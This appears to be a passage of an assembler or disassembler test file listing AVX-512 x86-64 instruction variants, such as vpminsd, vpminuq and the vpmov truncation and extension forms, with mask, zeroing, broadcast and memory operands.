vpminsd xmm2{k5}, xmm7, xmm0
vpminsd xmm2{k5}, xmm7, [rbx]
vpminsd xmm2{k5}, xmm7, [rbx]{1to4}
vpminsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpminsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpminsd xmm2{k5}{z}, xmm7, xmm0
vpminsd xmm2{k5}{z}, xmm7, [rbx]
vpminsd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpminsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpminsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpminsd ymm16, ymm13, ymm15
vpminsd ymm16, ymm13, [rbx]
vpminsd ymm16, ymm13, [rbx]{1to8}
vpminsd ymm16, ymm13, [rbx+r11*8+256]
vpminsd ymm16, ymm13, [rbx+r11*8-256]
vpminsd ymm16{k5}, ymm13, ymm15
vpminsd ymm16{k5}, ymm13, [rbx]
vpminsd ymm16{k5}, ymm13, [rbx]{1to8}
vpminsd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpminsd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpminsd ymm16{k5}{z}, ymm13, ymm15
vpminsd ymm16{k5}{z}, ymm13, [rbx]
vpminsd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpminsd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpminsd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpminsd zmm24, zmm24, zmm31
vpminsd zmm24, zmm24, [rbx]
vpminsd zmm24, zmm24, [rbx]{1to16}
vpminsd zmm24, zmm24, [rbx+r11*8+256]
vpminsd zmm24, zmm24, [rbx+r11*8-256]
vpminsd zmm24{k5}, zmm24, zmm31
vpminsd zmm24{k5}, zmm24, [rbx]
vpminsd zmm24{k5}, zmm24, [rbx]{1to16}
vpminsd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpminsd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpminsd zmm24{k5}{z}, zmm24, zmm31
vpminsd zmm24{k5}{z}, zmm24, [rbx]
vpminsd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpminsd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpminsd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpminsq xmm2, xmm7, xmm0
vpminsq xmm2, xmm7, [rbx]
vpminsq xmm2, xmm7, [rbx]{1to2}
vpminsq xmm2, xmm7, [rbx+r11*8+256]
vpminsq xmm2, xmm7, [rbx+r11*8-256]
vpminsq xmm2{k5}, xmm7, xmm0
vpminsq xmm2{k5}, xmm7, [rbx]
vpminsq xmm2{k5}, xmm7, [rbx]{1to2}
vpminsq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpminsq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpminsq xmm2{k5}{z}, xmm7, xmm0
vpminsq xmm2{k5}{z}, xmm7, [rbx]
vpminsq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpminsq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpminsq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpminsq ymm16, ymm13, ymm15
vpminsq ymm16, ymm13, [rbx]
vpminsq ymm16, ymm13, [rbx]{1to4}
vpminsq ymm16, ymm13, [rbx+r11*8+256]
vpminsq ymm16, ymm13, [rbx+r11*8-256]
vpminsq ymm16{k5}, ymm13, ymm15
vpminsq ymm16{k5}, ymm13, [rbx]
vpminsq ymm16{k5}, ymm13, [rbx]{1to4}
vpminsq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpminsq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpminsq ymm16{k5}{z}, ymm13, ymm15
vpminsq ymm16{k5}{z}, ymm13, [rbx]
vpminsq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpminsq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpminsq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpminsq zmm24, zmm24, zmm31
vpminsq zmm24, zmm24, [rbx]
vpminsq zmm24, zmm24, [rbx]{1to8}
vpminsq zmm24, zmm24, [rbx+r11*8+256]
vpminsq zmm24, zmm24, [rbx+r11*8-256]
vpminsq zmm24{k5}, zmm24, zmm31
vpminsq zmm24{k5}, zmm24, [rbx]
vpminsq zmm24{k5}, zmm24, [rbx]{1to8}
vpminsq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpminsq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpminsq zmm24{k5}{z}, zmm24, zmm31
vpminsq zmm24{k5}{z}, zmm24, [rbx]
vpminsq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpminsq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpminsq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpminud xmm2, xmm7, xmm0
vpminud xmm2, xmm7, [rbx]
vpminud xmm2, xmm7, [rbx]{1to4}
vpminud xmm2, xmm7, [rbx+r11*8+256]
vpminud xmm2, xmm7, [rbx+r11*8-256]
vpminud xmm2{k5}, xmm7, xmm0
vpminud xmm2{k5}, xmm7, [rbx]
vpminud xmm2{k5}, xmm7, [rbx]{1to4}
vpminud xmm2{k5}, xmm7, [rbx+r11*8+256]
vpminud xmm2{k5}, xmm7, [rbx+r11*8-256]
vpminud xmm2{k5}{z}, xmm7, xmm0
vpminud xmm2{k5}{z}, xmm7, [rbx]
vpminud xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpminud xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpminud xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpminud ymm16, ymm13, ymm15
vpminud ymm16, ymm13, [rbx]
vpminud ymm16, ymm13, [rbx]{1to8}
vpminud ymm16, ymm13, [rbx+r11*8+256]
vpminud ymm16, ymm13, [rbx+r11*8-256]
vpminud ymm16{k5}, ymm13, ymm15
vpminud ymm16{k5}, ymm13, [rbx]
vpminud ymm16{k5}, ymm13, [rbx]{1to8}
vpminud ymm16{k5}, ymm13, [rbx+r11*8+256]
vpminud ymm16{k5}, ymm13, [rbx+r11*8-256]
vpminud ymm16{k5}{z}, ymm13, ymm15
vpminud ymm16{k5}{z}, ymm13, [rbx]
vpminud ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpminud ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpminud ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpminud zmm24, zmm24, zmm31
vpminud zmm24, zmm24, [rbx]
vpminud zmm24, zmm24, [rbx]{1to16}
vpminud zmm24, zmm24, [rbx+r11*8+256]
vpminud zmm24, zmm24, [rbx+r11*8-256]
vpminud zmm24{k5}, zmm24, zmm31
vpminud zmm24{k5}, zmm24, [rbx]
vpminud zmm24{k5}, zmm24, [rbx]{1to16}
vpminud zmm24{k5}, zmm24, [rbx+r11*8+256]
vpminud zmm24{k5}, zmm24, [rbx+r11*8-256]
vpminud zmm24{k5}{z}, zmm24, zmm31
vpminud zmm24{k5}{z}, zmm24, [rbx]
vpminud zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpminud zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpminud zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpminuq xmm2, xmm7, xmm0
vpminuq xmm2, xmm7, [rbx]
vpminuq xmm2, xmm7, [rbx]{1to2}
vpminuq xmm2, xmm7, [rbx+r11*8+256]
vpminuq xmm2, xmm7, [rbx+r11*8-256]
vpminuq xmm2{k5}, xmm7, xmm0
vpminuq xmm2{k5}, xmm7, [rbx]
vpminuq xmm2{k5}, xmm7, [rbx]{1to2}
vpminuq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpminuq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpminuq xmm2{k5}{z}, xmm7, xmm0
vpminuq xmm2{k5}{z}, xmm7, [rbx]
vpminuq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpminuq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpminuq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpminuq ymm16, ymm13, ymm15
vpminuq ymm16, ymm13, [rbx]
vpminuq ymm16, ymm13, [rbx]{1to4}
vpminuq ymm16, ymm13, [rbx+r11*8+256]
vpminuq ymm16, ymm13, [rbx+r11*8-256]
vpminuq ymm16{k5}, ymm13, ymm15
vpminuq ymm16{k5}, ymm13, [rbx]
vpminuq ymm16{k5}, ymm13, [rbx]{1to4}
vpminuq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpminuq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpminuq ymm16{k5}{z}, ymm13, ymm15
vpminuq ymm16{k5}{z}, ymm13, [rbx]
vpminuq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpminuq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpminuq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpminuq zmm24, zmm24, zmm31
vpminuq zmm24, zmm24, [rbx]
vpminuq zmm24, zmm24, [rbx]{1to8}
vpminuq zmm24, zmm24, [rbx+r11*8+256]
vpminuq zmm24, zmm24, [rbx+r11*8-256]
vpminuq zmm24{k5}, zmm24, zmm31
vpminuq zmm24{k5}, zmm24, [rbx]
vpminuq zmm24{k5}, zmm24, [rbx]{1to8}
vpminuq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpminuq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpminuq zmm24{k5}{z}, zmm24, zmm31
vpminuq zmm24{k5}{z}, zmm24, [rbx]
vpminuq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpminuq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpminuq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpmovdb xmm0, xmm2
vpmovdb xmm0, ymm16
vpmovdb xmm0, zmm24
vpmovdb [rbx], xmm2
vpmovdb [rbx], ymm16
vpmovdb [rbx], zmm24
vpmovdb [rbx+r11*8+256], xmm2
vpmovdb [rbx+r11*8+256], ymm16
vpmovdb [rbx+r11*8+256], zmm24
vpmovdb [rbx+r11*8-256], xmm2
vpmovdb [rbx+r11*8-256], ymm16
vpmovdb [rbx+r11*8-256], zmm24
vpmovdw xmm0, xmm2
vpmovdw xmm0, ymm16
vpmovdw ymm15, zmm24
vpmovdw [rbx], xmm2
vpmovdw [rbx], ymm16
vpmovdw [rbx], zmm24
vpmovdw [rbx+r11*8+256], xmm2
vpmovdw [rbx+r11*8+256], ymm16
vpmovdw [rbx+r11*8+256], zmm24
vpmovdw [rbx+r11*8-256], xmm2
vpmovdw [rbx+r11*8-256], ymm16
vpmovdw [rbx+r11*8-256], zmm24
vpmovqb xmm0, xmm2
vpmovqb xmm0, ymm16
vpmovqb xmm0, zmm24
vpmovqb [rbx], xmm2
vpmovqb [rbx], ymm16
vpmovqb [rbx], zmm24
vpmovqb [rbx+r11*8+256], xmm2
vpmovqb [rbx+r11*8+256], ymm16
vpmovqb [rbx+r11*8+256], zmm24
vpmovqb [rbx+r11*8-256], xmm2
vpmovqb [rbx+r11*8-256], ymm16
vpmovqb [rbx+r11*8-256], zmm24
vpmovqd xmm0, xmm2
vpmovqd xmm0, ymm16
vpmovqd ymm15, zmm24
vpmovqd [rbx], xmm2
vpmovqd [rbx], ymm16
vpmovqd [rbx], zmm24
vpmovqd [rbx+r11*8+256], xmm2
vpmovqd [rbx+r11*8+256], ymm16
vpmovqd [rbx+r11*8+256], zmm24
vpmovqd [rbx+r11*8-256], xmm2
vpmovqd [rbx+r11*8-256], ymm16
vpmovqd [rbx+r11*8-256], zmm24
vpmovqw xmm0, xmm2
vpmovqw xmm0, ymm16
vpmovqw xmm0, zmm24
vpmovqw [rbx], xmm2
vpmovqw [rbx], ymm16
vpmovqw [rbx], zmm24
vpmovqw [rbx+r11*8+256], xmm2
vpmovqw [rbx+r11*8+256], ymm16
vpmovqw [rbx+r11*8+256], zmm24
vpmovqw [rbx+r11*8-256], xmm2
vpmovqw [rbx+r11*8-256], ymm16
vpmovqw [rbx+r11*8-256], zmm24
vpmovsdb xmm0, xmm2
vpmovsdb xmm0, ymm16
vpmovsdb xmm0, zmm24
vpmovsdb [rbx], xmm2
vpmovsdb [rbx], ymm16
vpmovsdb [rbx], zmm24
vpmovsdb [rbx+r11*8+256], xmm2
vpmovsdb [rbx+r11*8+256], ymm16
vpmovsdb [rbx+r11*8+256], zmm24
vpmovsdb [rbx+r11*8-256], xmm2
vpmovsdb [rbx+r11*8-256], ymm16
vpmovsdb [rbx+r11*8-256], zmm24
vpmovsdw xmm0, xmm2
vpmovsdw xmm0, ymm16
vpmovsdw ymm15, zmm24
vpmovsdw [rbx], xmm2
vpmovsdw [rbx], ymm16
vpmovsdw [rbx], zmm24
vpmovsdw [rbx+r11*8+256], xmm2
vpmovsdw [rbx+r11*8+256], ymm16
vpmovsdw [rbx+r11*8+256], zmm24
vpmovsdw [rbx+r11*8-256], xmm2
vpmovsdw [rbx+r11*8-256], ymm16
vpmovsdw [rbx+r11*8-256], zmm24
vpmovsqb xmm0, xmm2
vpmovsqb xmm0, ymm16
vpmovsqb xmm0, zmm24
vpmovsqb [rbx], xmm2
vpmovsqb [rbx], ymm16
vpmovsqb [rbx], zmm24
vpmovsqb [rbx+r11*8+256], xmm2
vpmovsqb [rbx+r11*8+256], ymm16
vpmovsqb [rbx+r11*8+256], zmm24
vpmovsqb [rbx+r11*8-256], xmm2
vpmovsqb [rbx+r11*8-256], ymm16
vpmovsqb [rbx+r11*8-256], zmm24
vpmovsqd xmm0, xmm2
vpmovsqd xmm0, ymm16
vpmovsqd ymm15, zmm24
vpmovsqd [rbx], xmm2
vpmovsqd [rbx], ymm16
vpmovsqd [rbx], zmm24
vpmovsqd [rbx+r11*8+256], xmm2
vpmovsqd [rbx+r11*8+256], ymm16
vpmovsqd [rbx+r11*8+256], zmm24
vpmovsqd [rbx+r11*8-256], xmm2
vpmovsqd [rbx+r11*8-256], ymm16
vpmovsqd [rbx+r11*8-256], zmm24
vpmovsqw xmm0, xmm2
vpmovsqw xmm0, ymm16
vpmovsqw xmm0, zmm24
vpmovsqw [rbx], xmm2
vpmovsqw [rbx], ymm16
vpmovsqw [rbx], zmm24
vpmovsqw [rbx+r11*8+256], xmm2
vpmovsqw [rbx+r11*8+256], ymm16
vpmovsqw [rbx+r11*8+256], zmm24
vpmovsqw [rbx+r11*8-256], xmm2
vpmovsqw [rbx+r11*8-256], ymm16
vpmovsqw [rbx+r11*8-256], zmm24
vpmovsxbd xmm2, xmm0
vpmovsxbd xmm2, [rbx]
vpmovsxbd xmm2, [rbx+r11*8+256]
vpmovsxbd xmm2, [rbx+r11*8-256]
vpmovsxbd xmm2{k5}, xmm0
vpmovsxbd xmm2{k5}, [rbx]
vpmovsxbd xmm2{k5}, [rbx+r11*8+256]
vpmovsxbd xmm2{k5}, [rbx+r11*8-256]
vpmovsxbd xmm2{k5}{z}, xmm0
vpmovsxbd xmm2{k5}{z}, [rbx]
vpmovsxbd xmm2{k5}{z}, [rbx+r11*8+256]
vpmovsxbd xmm2{k5}{z}, [rbx+r11*8-256]
vpmovsxbd ymm16, xmm0
vpmovsxbd ymm16, [rbx]
vpmovsxbd ymm16, [rbx+r11*8+256]
vpmovsxbd ymm16, [rbx+r11*8-256]
vpmovsxbd ymm16{k5}, xmm0
vpmovsxbd ymm16{k5}, [rbx]
vpmovsxbd ymm16{k5}, [rbx+r11*8+256]
vpmovsxbd ymm16{k5}, [rbx+r11*8-256]
vpmovsxbd ymm16{k5}{z}, xmm0
vpmovsxbd ymm16{k5}{z}, [rbx]
vpmovsxbd ymm16{k5}{z}, [rbx+r11*8+256]
vpmovsxbd ymm16{k5}{z}, [rbx+r11*8-256]
vpmovsxbd zmm24, xmm0
vpmovsxbd zmm24, [rbx]
vpmovsxbd zmm24, [rbx+r11*8+256]
vpmovsxbd zmm24, [rbx+r11*8-256]
vpmovsxbd zmm24{k5}, xmm0
vpmovsxbd zmm24{k5}, [rbx]
vpmovsxbd zmm24{k5}, [rbx+r11*8+256]
vpmovsxbd zmm24{k5}, [rbx+r11*8-256]
vpmovsxbd zmm24{k5}{z}, xmm0
vpmovsxbd zmm24{k5}{z}, [rbx]
vpmovsxbd zmm24{k5}{z}, [rbx+r11*8+256]
vpmovsxbd zmm24{k5}{z}, [rbx+r11*8-256]
vpmovsxbq xmm2, xmm0
vpmovsxbq xmm2, [rbx]
vpmovsxbq xmm2, [rbx+r11*8+256]
vpmovsxbq xmm2, [rbx+r11*8-256]
vpmovsxbq xmm2{k5}, xmm0
vpmovsxbq xmm2{k5}, [rbx]
vpmovsxbq xmm2{k5}, [rbx+r11*8+256]
vpmovsxbq xmm2{k5}, [rbx+r11*8-256]
vpmovsxbq xmm2{k5}{z}, xmm0
vpmovsxbq xmm2{k5}{z}, [rbx]
vpmovsxbq xmm2{k5}{z}, [rbx+r11*8+256]
vpmovsxbq xmm2{k5}{z}, [rbx+r11*8-256]
vpmovsxbq ymm16, xmm0
vpmovsxbq ymm16, [rbx]
vpmovsxbq ymm16, [rbx+r11*8+256]
vpmovsxbq ymm16, [rbx+r11*8-256]
vpmovsxbq ymm16{k5}, xmm0
vpmovsxbq ymm16{k5}, [rbx]
vpmovsxbq ymm16{k5}, [rbx+r11*8+256]
vpmovsxbq ymm16{k5}, [rbx+r11*8-256]
vpmovsxbq ymm16{k5}{z}, xmm0
vpmovsxbq ymm16{k5}{z}, [rbx]
vpmovsxbq ymm16{k5}{z}, [rbx+r11*8+256]
vpmovsxbq ymm16{k5}{z}, [rbx+r11*8-256]
vpmovsxbq zmm24, xmm0
vpmovsxbq zmm24, [rbx]
vpmovsxbq zmm24, [rbx+r11*8+256]
vpmovsxbq zmm24, [rbx+r11*8-256]
vpmovsxbq zmm24{k5}, xmm0
vpmovsxbq zmm24{k5}, [rbx]
vpmovsxbq zmm24{k5}, [rbx+r11*8+256]
vpmovsxbq zmm24{k5}, [rbx+r11*8-256]
vpmovsxbq zmm24{k5}{z}, xmm0
vpmovsxbq zmm24{k5}{z}, [rbx]
vpmovsxbq zmm24{k5}{z}, [rbx+r11*8+256]
vpmovsxbq zmm24{k5}{z}, [rbx+r11*8-256]
vpmovsxdq xmm2, xmm0
vpmovsxdq xmm2, [rbx]
vpmovsxdq xmm2, [rbx+r11*8+256]
vpmovsxdq xmm2, [rbx+r11*8-256]
vpmovsxdq xmm2{k5}, xmm0
vpmovsxdq xmm2{k5}, [rbx]
vpmovsxdq xmm2{k5}, [rbx+r11*8+256]
vpmovsxdq xmm2{k5}, [rbx+r11*8-256]
vpmovsxdq xmm2{k5}{z}, xmm0
vpmovsxdq xmm2{k5}{z}, [rbx]
vpmovsxdq xmm2{k5}{z}, [rbx+r11*8+256]
vpmovsxdq xmm2{k5}{z}, [rbx+r11*8-256]
vpmovsxdq ymm16, xmm0
vpmovsxdq ymm16, [rbx]
vpmovsxdq ymm16, [rbx+r11*8+256]
vpmovsxdq ymm16, [rbx+r11*8-256]
vpmovsxdq ymm16{k5}, xmm0
vpmovsxdq ymm16{k5}, [rbx]
vpmovsxdq ymm16{k5}, [rbx+r11*8+256]
vpmovsxdq ymm16{k5}, [rbx+r11*8-256]
vpmovsxdq ymm16{k5}{z}, xmm0
vpmovsxdq ymm16{k5}{z}, [rbx]
vpmovsxdq ymm16{k5}{z}, [rbx+r11*8+256]
vpmovsxdq ymm16{k5}{z}, [rbx+r11*8-256]
vpmovsxdq zmm24, ymm15
vpmovsxdq zmm24, [rbx]
vpmovsxdq zmm24, [rbx+r11*8+256]
vpmovsxdq zmm24, [rbx+r11*8-256]
vpmovsxdq zmm24{k5}, ymm15
vpmovsxdq zmm24{k5}, [rbx]
vpmovsxdq zmm24{k5}, [rbx+r11*8+256]
vpmovsxdq zmm24{k5}, [rbx+r11*8-256]
vpmovsxdq zmm24{k5}{z}, ymm15
vpmovsxdq zmm24{k5}{z}, [rbx]
vpmovsxdq zmm24{k5}{z}, [rbx+r11*8+256]
vpmovsxdq zmm24{k5}{z}, [rbx+r11*8-256]
vpmovsxwd xmm2, xmm0
vpmovsxwd xmm2, [rbx]
vpmovsxwd xmm2, [rbx+r11*8+256]
vpmovsxwd xmm2, [rbx+r11*8-256]
vpmovsxwd xmm2{k5}, xmm0
vpmovsxwd xmm2{k5}, [rbx]
vpmovsxwd xmm2{k5}, [rbx+r11*8+256]
vpmovsxwd xmm2{k5}, [rbx+r11*8-256]
vpmovsxwd xmm2{k5}{z}, xmm0
vpmovsxwd xmm2{k5}{z}, [rbx]
vpmovsxwd xmm2{k5}{z}, [rbx+r11*8+256]
vpmovsxwd xmm2{k5}{z}, [rbx+r11*8-256]
vpmovsxwd ymm16, xmm0
vpmovsxwd ymm16, [rbx]
vpmovsxwd ymm16, [rbx+r11*8+256]
vpmovsxwd ymm16, [rbx+r11*8-256]
vpmovsxwd ymm16{k5}, xmm0
vpmovsxwd ymm16{k5}, [rbx]
vpmovsxwd ymm16{k5}, [rbx+r11*8+256]
vpmovsxwd ymm16{k5}, [rbx+r11*8-256]
vpmovsxwd ymm16{k5}{z}, xmm0
vpmovsxwd ymm16{k5}{z}, [rbx]
vpmovsxwd ymm16{k5}{z}, [rbx+r11*8+256]
vpmovsxwd ymm16{k5}{z}, [rbx+r11*8-256]
vpmovsxwd zmm24, ymm15
vpmovsxwd zmm24, [rbx]
vpmovsxwd zmm24, [rbx+r11*8+256]
vpmovsxwd zmm24, [rbx+r11*8-256]
vpmovsxwd zmm24{k5}, ymm15
vpmovsxwd zmm24{k5}, [rbx]
vpmovsxwd zmm24{k5}, [rbx+r11*8+256]
vpmovsxwd zmm24{k5}, [rbx+r11*8-256]
vpmovsxwd zmm24{k5}{z}, ymm15
vpmovsxwd zmm24{k5}{z}, [rbx]
vpmovsxwd zmm24{k5}{z}, [rbx+r11*8+256]
vpmovsxwd zmm24{k5}{z}, [rbx+r11*8-256]
vpmovsxwq xmm2, xmm0
vpmovsxwq xmm2, [rbx]
vpmovsxwq xmm2, [rbx+r11*8+256]
vpmovsxwq xmm2, [rbx+r11*8-256]
vpmovsxwq xmm2{k5}, xmm0
vpmovsxwq xmm2{k5}, [rbx]
vpmovsxwq xmm2{k5}, [rbx+r11*8+256]
vpmovsxwq xmm2{k5}, [rbx+r11*8-256]
vpmovsxwq xmm2{k5}{z}, xmm0
vpmovsxwq xmm2{k5}{z}, [rbx]
vpmovsxwq xmm2{k5}{z}, [rbx+r11*8+256]
vpmovsxwq xmm2{k5}{z}, [rbx+r11*8-256]
vpmovsxwq ymm16, xmm0
vpmovsxwq ymm16, [rbx]
vpmovsxwq ymm16, [rbx+r11*8+256]
vpmovsxwq ymm16, [rbx+r11*8-256]
vpmovsxwq ymm16{k5}, xmm0
vpmovsxwq ymm16{k5}, [rbx]
vpmovsxwq ymm16{k5}, [rbx+r11*8+256]
vpmovsxwq ymm16{k5}, [rbx+r11*8-256]
vpmovsxwq ymm16{k5}{z}, xmm0
vpmovsxwq ymm16{k5}{z}, [rbx]
vpmovsxwq ymm16{k5}{z}, [rbx+r11*8+256]
vpmovsxwq ymm16{k5}{z}, [rbx+r11*8-256]
vpmovsxwq zmm24, xmm0
vpmovsxwq zmm24, [rbx]
vpmovsxwq zmm24, [rbx+r11*8+256]
vpmovsxwq zmm24, [rbx+r11*8-256]
vpmovsxwq zmm24{k5}, xmm0
vpmovsxwq zmm24{k5}, [rbx]
vpmovsxwq zmm24{k5}, [rbx+r11*8+256]
vpmovsxwq zmm24{k5}, [rbx+r11*8-256]
vpmovsxwq zmm24{k5}{z}, xmm0
vpmovsxwq zmm24{k5}{z}, [rbx]
vpmovsxwq zmm24{k5}{z}, [rbx+r11*8+256]
vpmovsxwq zmm24{k5}{z}, [rbx+r11*8-256]
vpmovusdb xmm0, xmm2
vpmovusdb xmm0, ymm16
vpmovusdb xmm0, zmm24
vpmovusdb [rbx], xmm2
vpmovusdb [rbx], ymm16
vpmovusdb [rbx], zmm24
vpmovusdb [rbx+r11*8+256], xmm2
vpmovusdb [rbx+r11*8+256], ymm16
vpmovusdb [rbx+r11*8+256], zmm24
vpmovusdb [rbx+r11*8-256], xmm2
vpmovusdb [rbx+r11*8-256], ymm16
vpmovusdb [rbx+r11*8-256], zmm24
vpmovusdw xmm0, xmm2
vpmovusdw xmm0, ymm16
vpmovusdw ymm15, zmm24
vpmovusdw [rbx], xmm2
vpmovusdw [rbx], ymm16
vpmovusdw [rbx], zmm24
vpmovusdw [rbx+r11*8+256], xmm2
vpmovusdw [rbx+r11*8+256], ymm16
vpmovusdw [rbx+r11*8+256], zmm24
vpmovusdw [rbx+r11*8-256], xmm2
vpmovusdw [rbx+r11*8-256], ymm16
vpmovusdw [rbx+r11*8-256], zmm24
vpmovusqb xmm0, xmm2
vpmovusqb xmm0, ymm16
vpmovusqb xmm0, zmm24
vpmovusqb [rbx], xmm2
vpmovusqb [rbx], ymm16
vpmovusqb [rbx], zmm24
vpmovusqb [rbx+r11*8+256], xmm2
vpmovusqb [rbx+r11*8+256], ymm16
vpmovusqb [rbx+r11*8+256], zmm24
vpmovusqb [rbx+r11*8-256], xmm2
vpmovusqb [rbx+r11*8-256], ymm16
vpmovusqb [rbx+r11*8-256], zmm24
vpmovusqd xmm0, xmm2
vpmovusqd xmm0, ymm16
vpmovusqd ymm15, zmm24
vpmovusqd [rbx], xmm2
vpmovusqd [rbx], ymm16
vpmovusqd [rbx], zmm24
vpmovusqd [rbx+r11*8+256], xmm2
vpmovusqd [rbx+r11*8+256], ymm16
vpmovusqd [rbx+r11*8+256], zmm24
vpmovusqd [rbx+r11*8-256], xmm2
vpmovusqd [rbx+r11*8-256], ymm16
vpmovusqd [rbx+r11*8-256], zmm24
vpmovusqw xmm0, xmm2
vpmovusqw xmm0, ymm16
vpmovusqw xmm0, zmm24
vpmovusqw [rbx], xmm2
vpmovusqw [rbx], ymm16
vpmovusqw [rbx], zmm24
vpmovusqw [rbx+r11*8+256], xmm2
vpmovusqw [rbx+r11*8+256], ymm16
vpmovusqw [rbx+r11*8+256], zmm24
vpmovusqw [rbx+r11*8-256], xmm2
vpmovusqw [rbx+r11*8-256], ymm16
vpmovusqw [rbx+r11*8-256], zmm24
vpmovzxbd xmm2, xmm0
vpmovzxbd xmm2, [rbx]
vpmovzxbd xmm2, [rbx+r11*8+256]
vpmovzxbd xmm2, [rbx+r11*8-256]
vpmovzxbd xmm2{k5}, xmm0
vpmovzxbd xmm2{k5}, [rbx]
vpmovzxbd xmm2{k5}, [rbx+r11*8+256]
vpmovzxbd xmm2{k5}, [rbx+r11*8-256]
vpmovzxbd xmm2{k5}{z}, xmm0
vpmovzxbd xmm2{k5}{z}, [rbx]
vpmovzxbd xmm2{k5}{z}, [rbx+r11*8+256]
vpmovzxbd xmm2{k5}{z}, [rbx+r11*8-256]
vpmovzxbd ymm16, xmm0
vpmovzxbd ymm16, [rbx]
vpmovzxbd ymm16, [rbx+r11*8+256]
vpmovzxbd ymm16, [rbx+r11*8-256]
vpmovzxbd ymm16{k5}, xmm0
vpmovzxbd ymm16{k5}, [rbx]
vpmovzxbd ymm16{k5}, [rbx+r11*8+256]
vpmovzxbd ymm16{k5}, [rbx+r11*8-256]
vpmovzxbd ymm16{k5}{z}, xmm0
vpmovzxbd ymm16{k5}{z}, [rbx]
vpmovzxbd ymm16{k5}{z}, [rbx+r11*8+256]
vpmovzxbd ymm16{k5}{z}, [rbx+r11*8-256]
vpmovzxbd zmm24, xmm0
vpmovzxbd zmm24, [rbx]
vpmovzxbd zmm24, [rbx+r11*8+256]
vpmovzxbd zmm24, [rbx+r11*8-256]
vpmovzxbd zmm24{k5}, xmm0
vpmovzxbd zmm24{k5}, [rbx]
vpmovzxbd zmm24{k5}, [rbx+r11*8+256]
vpmovzxbd zmm24{k5}, [rbx+r11*8-256]
vpmovzxbd zmm24{k5}{z}, xmm0
vpmovzxbd zmm24{k5}{z}, [rbx]
vpmovzxbd zmm24{k5}{z}, [rbx+r11*8+256]
vpmovzxbd zmm24{k5}{z}, [rbx+r11*8-256]
vpmovzxbq xmm2, xmm0
vpmovzxbq xmm2, [rbx]
vpmovzxbq xmm2, [rbx+r11*8+256]
vpmovzxbq xmm2, [rbx+r11*8-256]
vpmovzxbq xmm2{k5}, xmm0
vpmovzxbq xmm2{k5}, [rbx]
vpmovzxbq xmm2{k5}, [rbx+r11*8+256]
vpmovzxbq xmm2{k5}, [rbx+r11*8-256]
vpmovzxbq xmm2{k5}{z}, xmm0
vpmovzxbq xmm2{k5}{z}, [rbx]
vpmovzxbq xmm2{k5}{z}, [rbx+r11*8+256]
vpmovzxbq xmm2{k5}{z}, [rbx+r11*8-256]
vpmovzxbq ymm16, xmm0
vpmovzxbq ymm16, [rbx]
vpmovzxbq ymm16, [rbx+r11*8+256]
vpmovzxbq ymm16, [rbx+r11*8-256]
vpmovzxbq ymm16{k5}, xmm0
vpmovzxbq ymm16{k5}, [rbx]
vpmovzxbq ymm16{k5}, [rbx+r11*8+256]
vpmovzxbq ymm16{k5}, [rbx+r11*8-256]
vpmovzxbq ymm16{k5}{z}, xmm0
vpmovzxbq ymm16{k5}{z}, [rbx]
vpmovzxbq ymm16{k5}{z}, [rbx+r11*8+256]
vpmovzxbq ymm16{k5}{z}, [rbx+r11*8-256]
vpmovzxbq zmm24, xmm0
vpmovzxbq zmm24, [rbx]
vpmovzxbq zmm24, [rbx+r11*8+256]
vpmovzxbq zmm24, [rbx+r11*8-256]
vpmovzxbq zmm24{k5}, xmm0
vpmovzxbq zmm24{k5}, [rbx]
vpmovzxbq zmm24{k5}, [rbx+r11*8+256]
vpmovzxbq zmm24{k5}, [rbx+r11*8-256]
vpmovzxbq zmm24{k5}{z}, xmm0
